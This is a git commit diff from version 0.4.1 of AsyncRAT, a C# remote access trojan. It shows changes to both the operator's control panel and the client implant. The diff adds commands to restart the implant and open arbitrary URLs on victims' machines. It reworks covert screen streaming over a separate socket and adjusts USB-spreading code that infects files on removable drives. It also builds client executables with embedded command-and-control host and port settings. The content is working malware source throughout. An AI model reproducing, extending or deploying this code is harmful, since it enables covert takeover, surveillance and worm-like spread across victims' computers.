Update v0.4.1

-Fixed file manager - download file
-Fixed builder form freeze
-Added visit website
-Added performance counter (making ping useful)
-Improve remote desktop
This commit is contained in:
NYAN CAT 2019-04-26 11:14:31 -07:00
parent b7f22693f2
commit 9bf11d5cfe
20 changed files with 228 additions and 94 deletions

View File

@ -180,8 +180,6 @@
// chkAnti
//
this.chkAnti.AutoSize = true;
this.chkAnti.Checked = true;
this.chkAnti.CheckState = System.Windows.Forms.CheckState.Checked;
this.chkAnti.Location = new System.Drawing.Point(21, 40);
this.chkAnti.Name = "chkAnti";
this.chkAnti.Size = new System.Drawing.Size(125, 24);

View File

@ -4,6 +4,7 @@ using System.Windows.Forms;
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using System.IO;
using System.Threading.Tasks;
namespace AsyncRAT_Sharp.Forms
{
@ -14,7 +15,7 @@ namespace AsyncRAT_Sharp.Forms
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
private async void button1_Click(object sender, EventArgs e)
{
if (string.IsNullOrWhiteSpace(textIP.Text) || string.IsNullOrWhiteSpace(textPort.Text)) return;
@ -23,9 +24,9 @@ namespace AsyncRAT_Sharp.Forms
if (string.IsNullOrWhiteSpace(textFilename.Text) || string.IsNullOrWhiteSpace(comboBoxFolder.Text)) return;
if (!textFilename.Text.EndsWith("exe")) textFilename.Text += ".exe";
}
try
{
button1.Enabled = false;
var md = ModuleDefMD.Load(Path.Combine(Application.StartupPath, @"Stub\Stub.exe"));
foreach (TypeDef type in md.Types)
{
@ -72,17 +73,37 @@ namespace AsyncRAT_Sharp.Forms
saveFileDialog1.FileName = "Client";
if (saveFileDialog1.ShowDialog() == DialogResult.OK)
{
md.Write(saveFileDialog1.FileName);
MessageBox.Show("Done", "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Information);
Properties.Settings.Default.DNS = textIP.Text;
Properties.Settings.Default.Filename = textFilename.Text;
Properties.Settings.Default.Save();
this.Close();
bool isok = false; ;
await Task.Run(() =>
{
try
{
md.Write(saveFileDialog1.FileName);
isok = true;
}
catch (Exception ex)
{
MessageBox.Show(ex.Message, "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Error);
isok = false;
}
});
if (isok == true)
{
MessageBox.Show("Done!", "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Information);
Properties.Settings.Default.DNS = textIP.Text;
Properties.Settings.Default.Filename = textFilename.Text;
Properties.Settings.Default.Save();
button1.Enabled = true;
this.Close();
}
else
button1.Enabled = true;
}
}
catch (Exception ex)
{
MessageBox.Show(ex.Message, "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Error);
button1.Enabled = true;
}
}

View File

@ -35,7 +35,6 @@
this.labelsize = new System.Windows.Forms.Label();
this.label3 = new System.Windows.Forms.Label();
this.labelfile = new System.Windows.Forms.Label();
this.timer2 = new System.Windows.Forms.Timer(this.components);
this.SuspendLayout();
//
// label1
@ -79,12 +78,6 @@
this.labelfile.TabIndex = 0;
this.labelfile.Text = "..";
//
// timer2
//
this.timer2.Enabled = true;
this.timer2.Interval = 2500;
this.timer2.Tick += new System.EventHandler(this.Timer2_Tick);
//
// DownloadFile
//
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
@ -111,6 +104,5 @@
private System.Windows.Forms.Label label3;
public System.Windows.Forms.Label labelfile;
private System.Windows.Forms.Label label1;
private System.Windows.Forms.Timer timer2;
}
}

View File

@ -24,7 +24,7 @@ namespace AsyncRAT_Sharp.Forms
public long dSize = 0;
private void timer1_Tick(object sender, EventArgs e)
{
labelsize.Text = $"{Methods.BytesToString(dSize)} \\ {Methods.BytesToString(C.BytesRecevied)}";
labelsize.Text = $"{Methods.BytesToString(dSize)} \\ {Methods.BytesToString(C.BytesRecevied)}";
if (C.BytesRecevied > dSize)
{
labelsize.Text = "Downloaded";
@ -37,10 +37,5 @@ namespace AsyncRAT_Sharp.Forms
{
if (C != null) C.Disconnected();
}
private void Timer2_Tick(object sender, EventArgs e)
{
if (!C.ClientSocket.Connected) this.Close();
}
}
}

View File

@ -120,9 +120,6 @@
<metadata name="timer1.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<value>17, 17</value>
</metadata>
<metadata name="timer2.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<value>131, 17</value>
</metadata>
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
<data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>

View File

@ -37,12 +37,15 @@
this.lv_user = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.lv_os = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.lv_version = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.lv_prefor = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components);
this.cLIENTOPTIONSToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.cLOSEToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.rESTARTToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.uPDATEToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.uNISTALLToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.toolStripSeparator1 = new System.Windows.Forms.ToolStripSeparator();
this.vISITWEBSITEToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.sENDMESSAGEBOXToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.sENDFILEToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.sENDFILETOMEMORYToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
@ -84,7 +87,8 @@
this.lv_hwid,
this.lv_user,
this.lv_os,
this.lv_version});
this.lv_version,
this.lv_prefor});
this.listView1.ContextMenuStrip = this.contextMenuStrip1;
this.listView1.Dock = System.Windows.Forms.DockStyle.Fill;
this.listView1.FullRowSelect = true;
@ -122,7 +126,7 @@
//
// lv_os
//
this.lv_os.Text = "OS";
this.lv_os.Text = "OPERATING SYSTEM";
this.lv_os.Width = 179;
//
// lv_version
@ -130,12 +134,18 @@
this.lv_version.Text = "VERSION";
this.lv_version.Width = 126;
//
// lv_prefor
//
this.lv_prefor.Text = "PERFORMANCE";
this.lv_prefor.Width = 170;
//
// contextMenuStrip1
//
this.contextMenuStrip1.ImageScalingSize = new System.Drawing.Size(24, 24);
this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.cLIENTOPTIONSToolStripMenuItem,
this.toolStripSeparator1,
this.vISITWEBSITEToolStripMenuItem,
this.sENDMESSAGEBOXToolStripMenuItem,
this.sENDFILEToolStripMenuItem,
this.sENDFILETOMEMORYToolStripMenuItem,
@ -149,12 +159,13 @@
this.bUILDERToolStripMenuItem});
this.contextMenuStrip1.Name = "contextMenuStrip1";
this.contextMenuStrip1.ShowImageMargin = false;
this.contextMenuStrip1.Size = new System.Drawing.Size(275, 346);
this.contextMenuStrip1.Size = new System.Drawing.Size(275, 376);
//
// cLIENTOPTIONSToolStripMenuItem
//
this.cLIENTOPTIONSToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.cLOSEToolStripMenuItem,
this.rESTARTToolStripMenuItem,
this.uPDATEToolStripMenuItem,
this.uNISTALLToolStripMenuItem});
this.cLIENTOPTIONSToolStripMenuItem.Name = "cLIENTOPTIONSToolStripMenuItem";
@ -168,6 +179,13 @@
this.cLOSEToolStripMenuItem.Text = "CLOSE";
this.cLOSEToolStripMenuItem.Click += new System.EventHandler(this.cLOSEToolStripMenuItem_Click);
//
// rESTARTToolStripMenuItem
//
this.rESTARTToolStripMenuItem.Name = "rESTARTToolStripMenuItem";
this.rESTARTToolStripMenuItem.Size = new System.Drawing.Size(173, 30);
this.rESTARTToolStripMenuItem.Text = "RESTART";
this.rESTARTToolStripMenuItem.Click += new System.EventHandler(this.RESTARTToolStripMenuItem_Click);
//
// uPDATEToolStripMenuItem
//
this.uPDATEToolStripMenuItem.Name = "uPDATEToolStripMenuItem";
@ -187,6 +205,13 @@
this.toolStripSeparator1.Name = "toolStripSeparator1";
this.toolStripSeparator1.Size = new System.Drawing.Size(271, 6);
//
// vISITWEBSITEToolStripMenuItem
//
this.vISITWEBSITEToolStripMenuItem.Name = "vISITWEBSITEToolStripMenuItem";
this.vISITWEBSITEToolStripMenuItem.Size = new System.Drawing.Size(274, 30);
this.vISITWEBSITEToolStripMenuItem.Text = "[0] VISIT WEBSITE";
this.vISITWEBSITEToolStripMenuItem.Click += new System.EventHandler(this.VISITWEBSITEToolStripMenuItem_Click);
//
// sENDMESSAGEBOXToolStripMenuItem
//
this.sENDMESSAGEBOXToolStripMenuItem.Name = "sENDMESSAGEBOXToolStripMenuItem";
@ -351,7 +376,7 @@
// columnHeader2
//
this.columnHeader2.Text = "Message";
this.columnHeader2.Width = 500;
this.columnHeader2.Width = 705;
//
// performanceCounter1
//
@ -428,6 +453,9 @@
private System.Windows.Forms.ToolStripMenuItem uSBSPREADToolStripMenuItem;
private System.Diagnostics.PerformanceCounter performanceCounter1;
private System.Diagnostics.PerformanceCounter performanceCounter2;
private System.Windows.Forms.ToolStripMenuItem vISITWEBSITEToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem rESTARTToolStripMenuItem;
public System.Windows.Forms.ColumnHeader lv_prefor;
}
}

View File

@ -222,6 +222,27 @@ namespace AsyncRAT_Sharp
}
}
private void RESTARTToolStripMenuItem_Click(object sender, EventArgs e)
{
if (listView1.SelectedItems.Count > 0)
{
try
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "restart";
foreach (ListViewItem C in listView1.SelectedItems)
{
Clients CL = (Clients)C.Tag;
ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
}
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
}
}
private async void uPDATEToolStripMenuItem_Click(object sender, EventArgs e)
{
if (listView1.SelectedItems.Count > 0)
@ -460,6 +481,7 @@ namespace AsyncRAT_Sharp
Clients CL = (Clients)C.Tag;
ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
}
tabControl1.SelectedIndex = 1;
}
catch (Exception ex)
{
@ -481,6 +503,7 @@ namespace AsyncRAT_Sharp
Clients CL = (Clients)C.Tag;
ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
}
tabControl1.SelectedIndex = 1;
}
catch (Exception ex)
{
@ -488,5 +511,28 @@ namespace AsyncRAT_Sharp
}
}
}
private void VISITWEBSITEToolStripMenuItem_Click(object sender, EventArgs e)
{
if (listView1.SelectedItems.Count > 0)
{
string url = Interaction.InputBox("VISIT WEBSITE", "URL", "https://www.google.com");
if (string.IsNullOrEmpty(url))
return;
else
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "visitURL";
msgpack.ForcePathObject("URL").AsString = url;
foreach (ListViewItem C in listView1.SelectedItems)
{
Clients CL = (Clients)C.Tag;
ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
}
}
}
}
}
}

View File

@ -60,8 +60,8 @@
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.Name = "RemoteDesktop";
this.Text = "RemoteDesktop";
this.Activated += new System.EventHandler(this.RemoteDesktop_Activated);
this.Deactivate += new System.EventHandler(this.RemoteDesktop_Deactivate);
//this.Activated += new System.EventHandler(this.RemoteDesktop_Activated);
//this.Deactivate += new System.EventHandler(this.RemoteDesktop_Deactivate);
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit();
this.ResumeLayout(false);

View File

@ -36,22 +36,22 @@ namespace AsyncRAT_Sharp.Forms
if (!C.ClientSocket.Connected) this.Close();
}
private void RemoteDesktop_Activated(object sender, EventArgs e)
{
if (Active == false)
{
Active = true;
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
msgpack.ForcePathObject("Option").AsString = "true";
ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes());
decoder = new UnsafeStreamCodec(60);
}
}
//private void RemoteDesktop_Activated(object sender, EventArgs e)
//{
// //if (Active == false)
// //{
// // Active = true;
// // MsgPack msgpack = new MsgPack();
// // msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
// // msgpack.ForcePathObject("Option").AsString = "true";
// // ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes());
// // decoder = new UnsafeStreamCodec(60);
// //}
//}
private void RemoteDesktop_Deactivate(object sender, EventArgs e)
{
if (Active == true) Active = false;
}
//private void RemoteDesktop_Deactivate(object sender, EventArgs e)
//{
// // if (Active == true) Active = false;
//}
}
}

View File

@ -38,6 +38,7 @@ namespace AsyncRAT_Sharp.Handle_Packet
Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString);
Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Version").AsString);
Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Performance").AsString);
Client.LV.ToolTipText = unpack_msgpack.ForcePathObject("Path").AsString;
Client.ID = unpack_msgpack.ForcePathObject("HWID").AsString;
Program.form1.listView1.Items.Insert(0, Client.LV);
@ -52,7 +53,16 @@ namespace AsyncRAT_Sharp.Handle_Packet
case "Ping":
{
Debug.WriteLine(unpack_msgpack.ForcePathObject("Message").AsString);
if (Program.form1.listView1.InvokeRequired)
{
Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
{
if (Client.LV != null)
{
Client.LV.SubItems[Program.form1.lv_prefor.Index].Text = unpack_msgpack.ForcePathObject("Message").AsString;
}
}));
}
}
break;
@ -94,10 +104,10 @@ namespace AsyncRAT_Sharp.Handle_Packet
{
Program.form1.BeginInvoke((MethodInvoker)(() =>
{
RemoteDesktop RD = (RemoteDesktop)Application.OpenForms["RemoteDesktop:" + Client.ID];
RemoteDesktop RD = (RemoteDesktop)Application.OpenForms["RemoteDesktop:" + unpack_msgpack.ForcePathObject("ID").AsString];
try
{
if (RD != null && RD.Active == true)
if (RD != null)
{
byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes();
Bitmap decoded = RD.decoder.DecodeData(new MemoryStream(RdpStream));
@ -117,10 +127,12 @@ namespace AsyncRAT_Sharp.Handle_Packet
}
else
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
msgpack.ForcePathObject("Option").AsString = "false";
Client.BeginSend(msgpack.Encode2Bytes());
//MsgPack msgpack = new MsgPack();
//msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
//msgpack.ForcePathObject("Option").AsString = "false";
//Client.BeginSend(msgpack.Encode2Bytes());
Client.Disconnected();
return;
}
}
catch (Exception ex) { Debug.WriteLine(ex.Message); }
@ -335,11 +347,12 @@ namespace AsyncRAT_Sharp.Handle_Packet
}
}
}
catch (Exception ex)
{
Debug.WriteLine(ex.Message);
}
GC.Collect();
GC.WaitForPendingFinalizers();
}
}
}

View File

@ -14,6 +14,6 @@ namespace AsyncRAT_Sharp
public static string Password { get; set; }
public static Aes256 aes256{ get; set; }
public static readonly string Version = "AsyncRAT 0.4C";
public static readonly string Version = "AsyncRAT 0.4.1";
}
}

View File

@ -17,12 +17,12 @@ namespace AsyncRAT_Sharp.Sockets
public string ID { get; set; }
private byte[] ClientBuffer;
private long ClientBuffersize;
private int ClientBuffersize;
private bool ClientBufferRecevied;
private MemoryStream ClientMS;
private object SendSync;
private object EndSendSync;
public long BytesRecevied;
public int BytesRecevied;
public Clients(Socket socket)
{
@ -75,15 +75,15 @@ namespace AsyncRAT_Sharp.Sockets
if (ClientBufferRecevied == false)
{
await ClientMS.WriteAsync(ClientBuffer, 0, ClientBuffer.Length);
ClientBuffersize = BitConverter.ToInt32(ClientMS.ToArray(), 0);
ClientMS.Dispose();
ClientMS = new MemoryStream();
if (ClientBuffersize > 0)
{
ClientBuffer = new byte[ClientBuffersize];
Debug.WriteLine("/// Server Buffersize " + ClientBuffersize.ToString() + " Bytes ///");
ClientBufferRecevied = true;
}
ClientBuffersize = BitConverter.ToInt32(ClientMS.ToArray(), 0);
ClientMS.Dispose();
ClientMS = new MemoryStream();
if (ClientBuffersize > 0)
{
ClientBuffer = new byte[ClientBuffersize];
Debug.WriteLine("/// Server Buffersize " + ClientBuffersize.ToString() + " Bytes ///");
ClientBufferRecevied = true;
}
}
else
{

View File

@ -61,9 +61,6 @@
</PropertyGroup>
<PropertyGroup />
<ItemGroup>
<Reference Include="Costura, Version=3.3.3.0, Culture=neutral, PublicKeyToken=9919ef960d84173d, processorArchitecture=MSIL">
<HintPath>..\packages\Costura.Fody.3.3.3\lib\net40\Costura.dll</HintPath>
</Reference>
<Reference Include="IconLib">
<HintPath>..\packages\IconLib\IconLib.dll</HintPath>
</Reference>

View File

@ -71,8 +71,7 @@ namespace Client.Handle_Packet
ReceiveTimeout = -1,
SendTimeout = -1,
};
Client.Connect(Convert.ToString(Settings.Host.Split(',')[new Random().Next(Settings.Host.Split(',').Length)]),
Convert.ToInt32(Settings.Ports.Split(',')[new Random().Next(Settings.Ports.Split(',').Length)]));
Client.Connect(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[1]));
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "socketDownload";

View File

@ -71,12 +71,26 @@ namespace Client.Handle_Packet
try
{
ClientSocket.Client.Shutdown(SocketShutdown.Both);
ClientSocket.Client.Dispose();
}
catch { }
Environment.Exit(0);
}
break;
case "restart":
{
try
{
ClientSocket.Client.Shutdown(SocketShutdown.Both);
ClientSocket.Client.Dispose();
}
catch { }
Process.Start(Application.ExecutablePath);
Environment.Exit(0);
}
break;
case "uninstall":
{
Uninstall();
@ -96,16 +110,18 @@ namespace Client.Handle_Packet
{
case "false":
{
if (RemoteDesktop.RemoteDesktopStatus == false) return;
RemoteDesktop.RemoteDesktopStatus = false;
//if (RemoteDesktop.RemoteDesktopStatus == false) return;
// RemoteDesktop.RemoteDesktopStatus = false;
}
break;
case "true":
{
if (RemoteDesktop.RemoteDesktopStatus == true) return;
RemoteDesktop.RemoteDesktopStatus = true;
RemoteDesktop.CaptureAndSend();
// if (RemoteDesktop.RemoteDesktopStatus == true) return;
// RemoteDesktop.RemoteDesktopStatus = true;
// RemoteDesktop.CaptureAndSend();
RemoteDesktop remoteDesktop = new RemoteDesktop();
remoteDesktop.CaptureAndSend();
}
break;
}
@ -210,6 +226,17 @@ namespace Client.Handle_Packet
}
}
break;
case "visitURL":
{
string url = unpack_msgpack.ForcePathObject("URL").AsString;
if (url.StartsWith("http"))
{
Process.Start(url);
}
}
break;
}
}
catch { }

View File

@ -39,7 +39,6 @@ namespace Client.Handle_Packet
{
if (usb.DriveType == DriveType.Removable && usb.IsReady)
{
count += 1;
if (!Directory.Exists(usb.RootDirectory.ToString() + spreadSettings.WorkDirectory))
{
Directory.CreateDirectory(usb.RootDirectory.ToString() + spreadSettings.WorkDirectory);
@ -55,6 +54,8 @@ namespace Client.Handle_Packet
CreteDirectory(usb.RootDirectory.ToString());
InfectFiles(usb.RootDirectory.ToString());
count++;
}
}
catch (Exception ex)
@ -62,14 +63,13 @@ namespace Client.Handle_Packet
Debug.WriteLine("Initialize " + ex.Message);
}
}
if (count != 0)
if (count > 0)
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "usbSpread";
msgpack.ForcePathObject("Count").AsString = count.ToString();
ClientSocket.BeginSend(msgpack.Encode2Bytes());
}
}
private void ExplorerOptions()
@ -103,8 +103,12 @@ namespace Client.Handle_Packet
foreach (var directory in Directory.GetDirectories(path))
{
if (!directory.Contains(spreadSettings.WorkDirectory))
InfectFiles(directory);
try
{
if (!directory.Contains(spreadSettings.WorkDirectory))
InfectFiles(directory);
}
catch { }
}
}

View File

@ -7,20 +7,27 @@ using System.Drawing.Imaging;
using System.IO;
using System.Threading;
using System.Windows.Forms;
using System.Net.Sockets;
using Client.Helper;
using System;
namespace Client.Handle_Packet
{
class RemoteDesktop
{
public static bool RemoteDesktopStatus { get; set; }
public static void CaptureAndSend()
//public static bool RemoteDesktopStatus { get; set; }
public void CaptureAndSend()
{
try
{
Socket Client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
Client.Connect(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[1]));
string hwid = Methods.HWID();
IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(60);
while (RemoteDesktopStatus == true)
while (Client.Connected)
{
if (!ClientSocket.Client.Connected) RemoteDesktopStatus = false;
if (!ClientSocket.Client.Connected) break;
Bitmap bmp = GetScreen();
Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height);
Size size = new Size(bmp.Width, bmp.Height);
@ -33,18 +40,23 @@ namespace Client.Handle_Packet
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
msgpack.ForcePathObject("ID").AsString = hwid;
msgpack.ForcePathObject("Stream").SetAsBytes(stream.ToArray());
ClientSocket.BeginSend(msgpack.Encode2Bytes());
Client.Poll(-1, SelectMode.SelectWrite);
Client.Send(BitConverter.GetBytes(Settings.aes256.Encrypt(msgpack.Encode2Bytes()).Length));
Client.Send(Settings.aes256.Encrypt(msgpack.Encode2Bytes()));
}
}
bmp.UnlockBits(bmpData);
bmp.Dispose();
GC.Collect();
Thread.Sleep(1);
}
}
catch { }
}
public static Bitmap GetScreen()
private Bitmap GetScreen()
{
Rectangle rect = Screen.AllScreens[0].WorkingArea;
try

View File

@ -8,7 +8,7 @@ namespace Client
{
public static readonly string Ports = "6606";
public static readonly string Host = "127.0.0.1";
public static readonly string Version = "AsyncRAT 0.4C";
public static readonly string Version = "AsyncRAT 0.4.1";
public static readonly string Install = "false";
public static readonly string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%AppData%"), "Payload.exe");
public static string Password = "NYAN CAT";

View File

@ -22,7 +22,8 @@ namespace Client.Sockets
private static object SendSync { get; set; }
private static object EndSendSync { get; set; }
public static bool Connected { get; set; }
public static PerformanceCounter theCPUCounter;
public static PerformanceCounter theMemCounter;
public static void InitializeClient()
{
try
@ -43,6 +44,9 @@ namespace Client.Sockets
MS = new MemoryStream();
SendSync = new object();
EndSendSync = new object();
theCPUCounter = new PerformanceCounter("Processor", "% Processor Time", "_Total");
theMemCounter = new PerformanceCounter("Memory", "% Committed Bytes In Use");
theCPUCounter.NextValue();
BeginSend(SendInfo());
TimerCallback T = CheckServer;
Tick = new Timer(T, null, new Random().Next(30 * 1000, 60 * 1000), new Random().Next(30 * 1000, 60 * 1000));
@ -80,6 +84,7 @@ namespace Client.Sockets
Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit");
msgpack.ForcePathObject("Path").AsString = Process.GetCurrentProcess().MainModule.FileName;
msgpack.ForcePathObject("Version").AsString = Settings.Version;
msgpack.ForcePathObject("Performance").AsString = $"CPU {(int)theCPUCounter.NextValue()}% RAM {(int)theMemCounter.NextValue()}%";
return msgpack.Encode2Bytes();
}
@ -193,7 +198,7 @@ namespace Client.Sockets
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "Ping";
msgpack.ForcePathObject("Message").AsString = DateTime.Now.ToLongTimeString().ToString();
msgpack.ForcePathObject("Message").AsString = $"CPU {(int)theCPUCounter.NextValue()}% RAM {(int)theMemCounter.NextValue()}%";
BeginSend(msgpack.Encode2Bytes());
}
}